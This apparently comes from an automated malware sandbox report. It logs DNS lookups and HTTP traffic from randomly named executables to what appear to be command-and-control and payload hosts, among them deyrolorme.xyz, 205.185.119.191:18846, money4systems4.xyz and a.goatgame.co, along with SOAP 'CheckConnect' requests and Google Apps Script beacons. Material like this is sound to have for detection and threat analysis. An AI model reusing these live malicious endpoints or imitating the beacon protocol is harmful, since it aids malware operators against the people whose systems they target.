                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:53 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AwW7qRuw%2F%2BXqnes2zNMkSwQzZkerZuqDHutn%2B86mHU7SpCwCknnQQAKEQ%2BxEqG2YrAUO8HPLDG9cxN2ZglDrEZpGrRMufiUSqaoUWDDJnxbnnLGrQL8v8dPlgA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823277c2bd65947-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          script.google.com
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          script.google.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          script.google.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.217.17.78
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.217.17.78:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.google.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:55 GMT
                                                                                                                                                                                                                                          Location: https://script.googleusercontent.com/macros/echo?user_content_key=CZCMV6GsRtQ9kEFTgWSXKZ4b_rLliOCjIURs4-9atfla7g0yGg5n165SIhVB34aXaVIdcncEDS3P3v1rk2FJ86SJtCYb6TRwm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self'
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Set-Cookie: S=maestro=9OO7SN-MdwghSHny5dkoTTDPzu3PQSygdgvOYAZ4nqs; Domain=.google.com; Path=/; Secure; HttpOnly; Priority=LOW
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          9X63dy2DS4dWHeF8pFyQKTuf.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.13.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:55 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=s0Gl%2BrixYNCfOWF7%2BqStQU0cW9PQ13Sa9aqb8JOUxIcvwoqhrqGkTEwf%2FqOfI8CyffHhECTjsOK27GY7KcpYIlqnyzWEfeVOQl86SfjA%2FjiZbRqZk9SwVsHuuA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823278aaf98425a-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.googleusercontent.com/macros/echo?user_content_key=CZCMV6GsRtQ9kEFTgWSXKZ4b_rLliOCjIURs4-9atfla7g0yGg5n165SIhVB34aXaVIdcncEDS3P3v1rk2FJ86SJtCYb6TRwm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          142.250.179.193:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/echo?user_content_key=CZCMV6GsRtQ9kEFTgWSXKZ4b_rLliOCjIURs4-9atfla7g0yGg5n165SIhVB34aXaVIdcncEDS3P3v1rk2FJ86SJtCYb6TRwm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.googleusercontent.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:56 GMT
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self'
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.googleusercontent.com/macros/echo?user_content_key=sV8K28jEe9QdxHD-fevmMclX-qD0tuztStt-wgUb8tvXqufqWvMo7ln6TdbJG-jhDPUZQV58fVUzjX11YDSSCP0rID8P66iYm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          142.250.179.193:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/echo?user_content_key=sV8K28jEe9QdxHD-fevmMclX-qD0tuztStt-wgUb8tvXqufqWvMo7ln6TdbJG-jhDPUZQV58fVUzjX11YDSSCP0rID8P66iYm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.googleusercontent.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:11 GMT
                                                                                                                                                                                                                                          Location: https://script.google.com/macros/s/AKfycbwH7hUWqpmm7daiuKSB1dBmB6ffukls2auxLYW9CveueIYQ5CE/exec
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self'
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          deyrolorme.xyz
                                                                                                                                                                                                                                          1340993.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          deyrolorme.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          deyrolorme.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          212.224.105.106
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://205.185.119.191:18846/
                                                                                                                                                                                                                                          YKliaHJeiJ_5l1avEzMVfFKQ.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          205.185.119.191:18846
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 205.185.119.191:18846
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:55 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://205.185.119.191:18846/
                                                                                                                                                                                                                                          YKliaHJeiJ_5l1avEzMVfFKQ.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          205.185.119.191:18846
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 205.185.119.191:18846
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4664
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:01 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://deyrolorme.xyz/
                                                                                                                                                                                                                                          8631307.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          212.224.105.106:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: deyrolorme.xyz
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:56 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=3
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://deyrolorme.xyz/
                                                                                                                                                                                                                                          8631307.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          212.224.105.106:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: deyrolorme.xyz
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:02 GMT
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Keep-Alive: timeout=3
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Content-Encoding: gzip
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          money4systems4.xyz
                                                                                                                                                                                                                                          7706313.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          money4systems4.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          money4systems4.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.1.123
                                                                                                                                                                                                                                          money4systems4.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.129.55
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          money4systems4.xyz
                                                                                                                                                                                                                                          7706313.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          money4systems4.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          money4systems4.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.129.55
                                                                                                                                                                                                                                          money4systems4.xyz
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.1.123
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://money4systems4.xyz/api.php
                                                                                                                                                                                                                                          7706313.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.123:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /api.php HTTP/1.1
                                                                                                                                                                                                                                          Host: money4systems4.xyz
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:02 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GBb3v3BkuCha%2B3%2Bwhh7QLWQdtpIVDO0A4zoxngU6%2FKf6Tqzpvmid1wnxFCEXVmOY7votOaJLtv3gaOTVw59koaVB6IjEthiA%2FEzxHI6GEylkC8j8GDYHWU60GI8jBl8EEt%2B5YYc%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327b3bab50bb5-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://api.ip.sb/geoip
                                                                                                                                                                                                                                          7HS9H3G8r_cKvEziTmf7FTb_.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.26.13.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /geoip HTTP/1.1
                                                                                                                                                                                                                                          Host: api.ip.sb
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:05 GMT
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          Content-Length: 285
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hl7NmMSiqEPvcu9JrFVcepx%2B0hYjs1vmyHkuZpAWYGvHrbjON3UhueVlRNUksEiiEe%2B9kSGqWnuNCRqr61z5IykBEXVaqjDrj9Vn779EGuM0G8FME5gsS7HOzg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327c77b9e0b4f-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.79.144
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.146.70
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:08 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FRLfOS2bBXmQYlyidVxOuLPVMgPOew6E6AY%2FP3A3VxapMGmfkqp8zUyJn33zV8rsEG3U9E8WXL5t7pWgWbYe%2FXES1zWHEtDHpQOAjPZ%2F%2B2YUgX5neIsaD%2F4WfMMb0os8"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327d95de21e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:09 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lt71gTZLvZSlXAY0BJ7K49tLmY9IrWLurSbAhsvcvAaQPIYZxYZY7JE93HWUfSg1G5oigE70TjS6q9vk8dMHE8PZsOkZlMLLqArXxnDUaa3ZJG6bEEYTHm%2BCk3m%2F%2B22r"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327de7c131e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
